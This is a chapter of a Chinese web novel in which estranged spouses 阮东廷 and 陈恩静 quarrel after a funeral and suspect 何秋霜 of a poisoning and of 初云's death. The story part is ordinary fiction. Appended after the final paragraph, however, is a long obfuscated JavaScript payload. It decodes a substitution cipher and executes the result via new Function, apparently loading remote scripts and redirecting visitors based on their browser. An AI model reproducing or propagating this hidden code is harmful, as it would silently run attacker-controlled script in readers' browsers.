第六曲 山雨欲来风满楼(2 / 2)

阮陈恩静 吕亦涵 0 字 2021-07-02

“我话还没说完你就甩脸走人,陈恩静,这就是你对待先生的态度吗?”

恩静张开口,却一个字也说不出——对,简直不知该怎么来反驳这个人!

她是什么态度?

她说了那么多,他每个字都不听,好了,她认输了她逃避了她去洗澡了,他却说她这是什么态度?

“说啊,你这到底是什么态度?

意见不和就甩脸,陈恩静,我对你太好了是吗?”

她原本面上还无风无浪,可听到这句话后,却蓦地,笑了:“你对我好吗?”

难得的微讽悄悄染上她眉角,“房里一个,外面一个——阮先生,这就是你所谓的‘好’吗?”

Marvy甚至都搬出“齐人有一妻一妾”的老话了,他这算是“对她好”吗?

阮东廷愣了一下,没想到她会突然冒出这句话。

可不知为何,原本满脸的怒火在这句话之后,竟莫名平息了。

“所以,这就是你坚决要认定秋霜有罪的原因?”

她失望地垂下眼:“如果你觉得是的话,就是吧。”

身子再度移向浴室外,这一回,他没有再用力了,好轻易地,她便挣开了他的手。

纤影幽幽,移向房内。

拿了一列换洗衣物打算另择浴室时,恩静又在门口顿了一下:“阮先生?”

他应了声,自认定了她的别扭是因为吃醋等俗到死的原因后,那张脸不知怎地,就没那么臭了。

可谁料她接下来的话却是:“晚上你睡书房?

还是我睡客房?”

“……”他愣在了那里。

“WOW~谁一大早脸就这么臭?

活脱脱的欲求不满啊!”

让贱嘴连楷夫住到他家里果真是愚蠢决定里的VIP!

第二天一早,当阮东廷一脸乌青地从书房出来时,就遇上了正春风得意地从Marvy房间出来的连某人。

那奚落的声音简直和连某的满面春风一样刺眼:“怎么?

有房不睡睡书房,昨晚被恩静妹妹赶出来了?”

更窘的是那边的房门也正好“咔”一声,被打开了,那罪魁祸首走出来,看到两人正站在走廊上,也没说什么,只是朝这边点了下头:“早……”

可还没“早”完,阮东廷就臭着一张脸下楼了——完全视她为无物!

昨晚当那句大逆不道的话被她说出来之后,他到底是太震惊以至于怀疑自己听错,还是什么见鬼的原因,总之那一刻,阮东廷就在浴室里愣了好半晌,直到她走到门边,声音淡淡地飘过来:“那就我睡客房吧。”

他才真正地彻底地反应过来——睡客房?

堂堂女主人跑去睡客房?

这女人竟敢以退为进,真是翅膀长硬了!

他冷着脸在她开门之前从床上抽出了自己的枕头,冷着脸甩门而出,冷着脸走到书房里那曾经睡了好几年的折叠式沙发前。

从那一刻起,再也没踏进过房间。

“啧啧!没想到这万年面瘫也有面不瘫的时候啊,恩静妹妹,看样子,接下来你可得小心咯!”

Cave“好心”地提醒了句,不过长腿欲迈下楼时,又停了下,返回来问她:“话说,怎么做到的?”

“……”

恩静当然没理他。

只是接下来的日子也果真如连楷夫所言,一点都不好过。

同在一处上班,下了班又回同一个屋檐下,抬头不见低头见,可每一见,她总是觉得阮生浑身的冷冽锋芒快要把她冻成霜,明明一开始生气的是她,可那厮就是有本事化被动为主动,以至于没两天,上下佣人在处理初云后事之余,又开始窃窃私语:“这次又是怎么了?

先生怎么突然又搬到书房睡了?

该不会是因为‘那一个’住进来,所以先生又要冷落太太了吧?”

他也懒理,由着一众下人去猜。

初云的丧期就在这一片冷寂中度过。

出殡那一日,走得近的走不近的宾客来了一大堆,包括“阮氏”里那一列平时受过初云恩惠的员工。

可没想到的是,那闹事的一伙人也来了,就和李阿姨同一批,在初云遗像前沉默地鞠躬。

彼时恩静就站在阮东廷身旁,作为主人对宾客行礼。

眼一抬,看到那几个身影时,她沉下声问阮东廷:“会不会是来闹的?”

其实两人已经好几天没讲过话了,可阮东廷看上去还没有消气的迹象,只淡淡道:“谅他们也没那个胆。”

她还想说什么,却见李阿姨领着那列人过来,过来对着他们俩鞠了一躬:“阮总、太太,请节哀。”

“二小姐是好人,会上天堂的。”

“二小姐对我们大恩又大德,我们所有人都会替她祈祷的。”

说最后那句话的人不是李阿姨——对,正是之前在酒店闹事、后又奎宁中毒的王阿三!

恩静眯起眼——“二小姐对我们大恩又大德,我们所有人都会替她祈祷的”?

这么说来,那多出来的五百块工资王阿三已经知道了?

初云交代清楚了?

她忽然想起那次奎宁中毒时,她曾吩咐初云打电话到人事处去问王阿三的号码,可电话还未拨出去,阿Sir们就到家里来了,后来杂事乱事一大堆,初云是什么时候去办这些事的?

员工们前脚一走开,她便和妈咪说了一声,后脚跟着走出了殡仪馆。

只是欲叫住李阿姨时,却见一道高挑的身影突然从另一端窜出,飞快地将李阿姨拉离了人群:“怎么样,带来了吗?”

竟是何秋霜!

恩静脚步一跃,下意识地隐入了一旁的大树后。

“带来了、带来了!”

只见李阿姨从口袋里拿出一瓶小小的东西。

离得太远,恩静看不清那是什么,却看到何秋霜迅速将东西收进口袋里:“对了,千万不要和别人说哦!”

李阿姨看上去有点儿好奇:“何小姐,这是?”

“是什么你别管,总之,不要让任何人知道你今天拿药给我。”

“哦……好的。”

两拨人匆匆碰头,又匆匆分手,余恩静若有所思地站在那里。

片刻后,才拿出手机:“Marvy,李阿姨刚刚不知拿了瓶什么给何秋霜,就藏在她牛仔裤的口袋里。

我想,或许你可以去查一查。”

至于该怎么查,这就是颜侦探专业范围内的事了。

挂上电话后,恩静还是决定去向李阿姨探个究竟。

在殡仪馆外,百米之内清净无人时,她叫住了她。

“是太太啊?”

回头看到叫住自己的人,老妇人毕恭毕敬道,“太太,您有事吗?”

“工资的事工人们知道了是吗?”

“是的太太,二小姐都和我解释过了,哎……”她原本就哭红了的眼底又浮起泪意,“那么好的姑娘,你说到底是谁那么狠心想害她?

那晚她去了我家,和我说那企图将奎宁中毒一事栽赃给您的人,也想加害于她。

您看,那么好的姑娘,那么好的姑娘啊……”李阿姨泣不成声。

恩静垂首,长长地叹气。

只是一口气还没叹完,又蓦地,哽在了喉中——“那晚她去了我家,和我说那企图将奎宁中毒一事栽赃给您的人,也想加害于她”?

初云和李阿姨说了栽赃的事?

这么说来,她是在发现了购物小票后才遇到李阿姨的?

而发现购物小票的那一天,不正是她被阮生赶出家、继而出事的时日?

天!

她脑袋一个激灵:“李阿姨,你还记得具体是哪天吗?”

“怎么了吗?”

李阿姨看她表情这样严肃,便直觉是大事了,掐着手指努力地算着:“我想想啊,好像是七号吧……”

“七号?

你确定吗?”

李阿姨又掰着手指仔仔细细算了一遍:“对!七号!”

突然之间,恩静浑身颤抖——七号,七号!

初云坠崖的那天——

正是七号!

“七号?

七号怎么了么太太?

难道就是……”

“对,七号就是初云出事的日子!李阿姨你再仔细想一想,初云那晚是什么时候离开你们家的?”

“大、大概九点多吧。”

“你确定?”

“不能百分之百确定,可是不会太晚,因为、因为二小姐说还要去找何小姐啊!”

“何秋霜?”

“是,何秋霜小姐。”

一定要马上告知阮先生,立刻!马上!

只是回到殡仪馆时,却不见了阮生的踪影。

“阮先生人呢?”

Marvy的口吻听上去挺没好气:“何千金‘身体抱恙’,刚刚虚弱得晕倒了,我们阮总正要送她回去休息呢。”

身体抱恙?

晕倒?

可刚刚在外面不是还好好的?

恩静沉吟片刻,看这边事情也完成得差不多了,便走过去和妈咪说了什么。

随后走向好友:“Marvy,我身体也有些不舒服。”

Marvy心领神会。

她的车就泊在后方的露天停车场里。

两人刚走到车旁,就看到阮东廷的车正好开出了停车场,Marvy冷哼了声,加快速度。

可再怎么快,她的跑车开出停车场时,阮生的车已不见了踪影。

回家时张嫂看上去挺惊讶:“太太回来啦?”

可一双眼却又下意识地瞥向客房,面上似是尴尬。

“你们先生呢?”

Marvy明知故问。

张嫂看上去更加为难。

她冷哼了声:“在那女人房里?”

“呃……何小姐身体不舒服……”

“哦?

本小姐也挺不舒服呢,要不你也去把他叫出来陪陪我?”

“这……”

“Marvy。”

还是恩静开口,解救了为难的张嫂。

Marvy这才收敛了态度。

只是待老管家一走,她脸上的娇纵便全退了,拉过恩静严肃道:“你现在找个借口,把家里的佣人都集到一起说话,我去何秋霜房外盯着,一有机会就去拿她的药。

我现在很怀疑,那药就是造成上回员工中毒的奎宁!”

“我也正有此意。”

她拧眉思索了片刻,在Marvy走往何秋霜房间时,转身走向了厨房:“张嫂,你把大家都召过来,我有点事要吩咐……”

可结果,那厢恩静把闲杂人等都支开了,这厢Marvy来到秋霜房外时,却一无所获。

趴在何秋霜门上听了几分钟——房内几乎无动静,她在心里低咒了声“SHIT”,抬头却看到一张笑得邪魅的脸从楼下走来:“嗨,靓女!”

是连楷夫!

见鬼!她被那声男高音“嗨”得飞快跳起,三步并作两步跑过来,捂住他的嘴。

可这无耻的花花公子,顺势搂过她的腰就算了,竟然还伸出舌头,不要脸地舔过她掌心——

“喂!”

Marvy惊得尖叫。

然后,紧闭的房门就在这一声“喂”下,被打开了。

“浑蛋!”

她真是想杀了这个不要脸的登徒子!

是的,门打开了,阮东廷走出来了,她被发现了!

见鬼!被轻薄就算了,现在竟然连计划也失败!

只见阮东廷冷着脸站在门口,看看她,再看看好友:“你们在这做什么?”

“做什么?”

登徒子搂着她的手更加紧了紧,“这都看不出来?

打情骂俏呗。”

阮生淡淡瞥他一眼:“秋霜在休息,”再瞥过Marvy的一张冷脸,然后添了句:“把你的人带走。”

“Shit……”一句骂语没喊完,已被连某人捂着嘴拖走。

大半钟头后,阮东廷才从秋霜房间里出来。

一下楼,便见那对欢喜冤家和恩静坐在大厅里,不知正在谈什么。

只是他刚走近,三人的对话便中止。

Marvy抬起头睨着他,那目光里颇有挑衅的意味。

然后,看着他坐到沙发上,这大小姐开口:“连楷夫,想追本小姐的话,有件事你可给我听清楚了:我这人有个习惯,最讨厌脚踏两条船的花花公子!”

虽然口口声声喊着“连楷夫”,可说话时,Marvy的眼却片刻也不浪费地盯在的阮东廷身上。

连某人倒是对答如流:“颜又舞,我这人也有个习惯,说话办事向来喜欢来直接的。”

他微微笑,一双桃花眼好看得简直能电人,只是嘴里吐出的话——“你呢,明明想骂的是Baron,指着我干吗?”

“噗!”

Marvy一口咖啡差点没喷到他脸上,“连楷夫!”

指桑骂槐原是门多么微妙的艺术,结果这混蛋竟直接把那棵槐树给揪出来!这不,弄得大家多尴尬!

可连楷夫还在说:“瞪我做什么?

你这样损我的名誉,该生气的人是我才对吧?

明明那‘脚踏两条船的花花公子’是Baron……”

“连楷夫,再胡说八道就滚出我家。”

阮东廷冷冽的声音响起。

当然,连某人怎可能买帐:“我知道我是在胡说八道,可问题是,我们‘阮太太’不知道啊,”一面说着,一面笑意盎然地扭头向恩静:“恩静妹妹,别怪我这当‘哥哥’的没提醒你,你们家‘阮先生’呢,看着是挺混账的,可那心里啊……”

“Cave!”

“呃……”恩静突兀的声音和阮东廷的同时响起。

她站起身,一时间,奇怪的人反倒变成了恩静——身旁这三人突然齐刷刷地将目光定到了她身上,包括阮东廷。

“我是想说……”她被这几道目光射得有些尴尬:“呃,面包应该烤好了,我去给你们拿。”

说着,转身就要往厨房里走。

可谁知楼梯口又添入了另一道声音:“加我一份如何?”

高傲的,餍足的,像是饱睡了一顿之后的女子的声音。

无疑,正是何秋霜。

只见她优雅地拾级而下,穿的还是之前的那条牛仔裤。

恩静与Marvy不动声色地对视一眼——“有点子了?”

“当然,本小姐是谁?”

——交流只在眼神间,无声仿有声。

果然秋霜一入坐,Marvy便幽幽地叹了一口气,开始实施起她的“点子”:“初云的事总算是告一段落了,还记得她生前总爱同人说,她哥哥酿酒的功夫一流,阮总,要不趁着刚火化、初云的魂魄还没有散去,我们一起到酒窖里,以烈酒送她最后一程?”

无厘头的点子让恩静也摸不着她的用意。

可对众人来说,这点子却是极好的。

港、闽两地皆有类似的说法,在亡灵魂魄未散之时,以其生前最爱的事物送她,让其安心“上路”。

所以阮生想也没多想:“好。”

众人起身时,Marvy已不动声色地来到了恩静身旁:“听说何秋霜酒量奇差?”

她唇角荡起一抹胜券在握的笑:“正好,本小姐酒量奇好。”

好得把何秋霜灌倒,不过是分分钟的事。

恩静明白了她的意思——灌倒之后再去查那瓶药,不是容易多了么?

一众人纷纷移至酒窖,只有恩静转身,往另一个方向去了甜品间。

阮家的厨房和甜品间是分开的,都在一楼。

恩静进来时,面包还没有烤好,她在烤炉旁静候了片刻。

只是十分钟后,带着一阵刚出炉的面包香来到酒窖时,她的表情似乎更添了丝凝重。

众人都已添满了酒,恩静一走进,便听到秋霜惊喜的声音:“是Merlot!阿东你竟然把Merlot也酿出来了,这不是我们在英国时常喝的那一款酒吗?”

她这话刚落,便有Cave在一旁凉凉道:“是啊,‘我们’在英国时常喝的那一个款酒。”

就她何千金这酒量,能喝几次啊?

还“我们”“我们”!

秋霜被他说得有点儿尴尬。

于是自然,阮生淡淡地瞥Cave一记。

害得Cave连叹气:“哎,这日子简直没法过咯!天天看着‘某些人’在装逼,苦的是,我又装不过她们。”

一边感叹,一边俊脸又转向他家的女神:“既然装不过,我们不如闭嘴喝酒?”

“明智。”

Marvy看到恩静下来,也答得挺爽快,“来来,阮总,我们都举杯,致初云吧。”

“致初云——”众人举杯,五只手五张脸,竟是各怀各的心思。

一杯酒入肚,秋霜脸上已染了层红晕。

阮东廷知道她酒量素来不佳,秋霜一搁下杯子,他便说:“别再喝了,你这身体状况不适合喝太多。”

“就是啊,何小姐,要不你先回去睡觉吧?”

Marvy刻意加重了后面这句话:“这酒窖里都是能喝酒的人,你一杯来我一杯去,我怕你等等会很无聊呢。”

本来阮东廷那一声劝后,秋霜的确是不想再喝的,可Marvy这话一落下,好胜心那么强的她哪能乖乖停手?

嚼了抹刻意作出的优雅微笑,秋霜慢条斯理地替恩静倒了杯酒,再替自己倒一杯。

完全懒理Marvy的口舌,何千金她打算以行动来回击,你看——

“恩静妹妹,”只见她笑容真诚,举杯看向对面的恩静:“你我之间也算是颇有些缘分了,那年在厦门听你唱南音,只觉得这小姑娘长得清清秀秀的,但唱得还真是不错呀,谁知今日你竟成了‘阮氏’的董事长夫人。

我替你牵了这条线,你说,咱们俩该不该干一杯呢?”

这话听着挺客气,可字里行间的鄙夷和挑衅,谁会听不出来?

阮东廷凝眉,不悦地瞪向她:“秋霜,再胡说八道就回房!”

可那被鄙夷挑衅的主儿却只是淡笑,温温柔柔地举起酒杯:“何小姐客气。”

大眼探向秋霜越来越红的脸——是,刚刚那杯酒的劲已经上来了。

她微微一笑,抑头,一整杯Merlot全灌进肚里:“何小姐,我干杯,你随意。”

只是她这么猛的喝法下来,秋霜哪还能随意?

再一杯酒入肚,秋霜已经面色不佳。

很努力地想让漂亮的眉头不皱起,可好像不太成功。

只是对面的恩静看她酒杯方歇,又拿起了酒皿,往她杯里注了七分满的酒,同时,也给自己注了十分:“何小姐,这杯我敬你。”

Marvy几乎要赞叹这女人的坏心眼了——可怕!可怕!你七分满,我十分;我干杯了,你还敢不干么?

是,也许换了其他人可以,但气盛如同何秋霜——呵,不可能的!

那头恩静还在说:“这几天因为初云的事,大家心力交瘁,有招待不周的还请何小姐见谅。”

漂亮地回敬了秋霜方才的口出狂言后,端起十分满的酒,干脆利落地灌入肚,余下秋霜和她眼前的Merlot,还纹丝未动。

搁下酒杯,恩静见秋霜还不动,便扬起体贴的笑容:“何小姐如果嫌我倒多了,意思意思就好,不必勉强……”

而话音未完,就见秋霜已经拿起杯子,一口气喝光。

是,一口气。

杯子再落到桌上时,她的眼神已迷离。

压倒骆驼的最后一根稻草,奏效了。

只是戏演到这份上,阮东廷哪还能看不出古怪?

刚刚恩静主动要敬秋霜酒时,他就觉得事有蹊跷了,于是干脆什么也不说,就坐在那,直到这会儿,看到秋霜已经摇摇欲坠了,他才淡淡地开口:“颜小姐,有劳你送秋霜回房。”

果然天助她也!Marvy的回答愉快又响亮:“没问题!”

一双眼悄悄地朝恩静眨了眨——很好,等等我就把她送到房间里,然后……呵呵!

Marvy一走,连楷夫自然也跟着她离开了。

酒窖里只剩他们夫妻二人时,阮东廷看着自家的太太,突然间觉得长久以来都以“柔弱温驯”来定义这女子,似乎是错了。

“有什么要向我交代的吗?”

他问。

哪知她竟想也不想:“有!”

那一脸凝重,想也知不是风花雪月的小事。

恩静说:“我们也回房吧。”

阮东廷没有再多问,直到回了房落了锁,才开口:“怎么了?”

“刚刚,”恩静一脸大事将至的凝重,“我在甜品间里又发现了一个监控。”

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();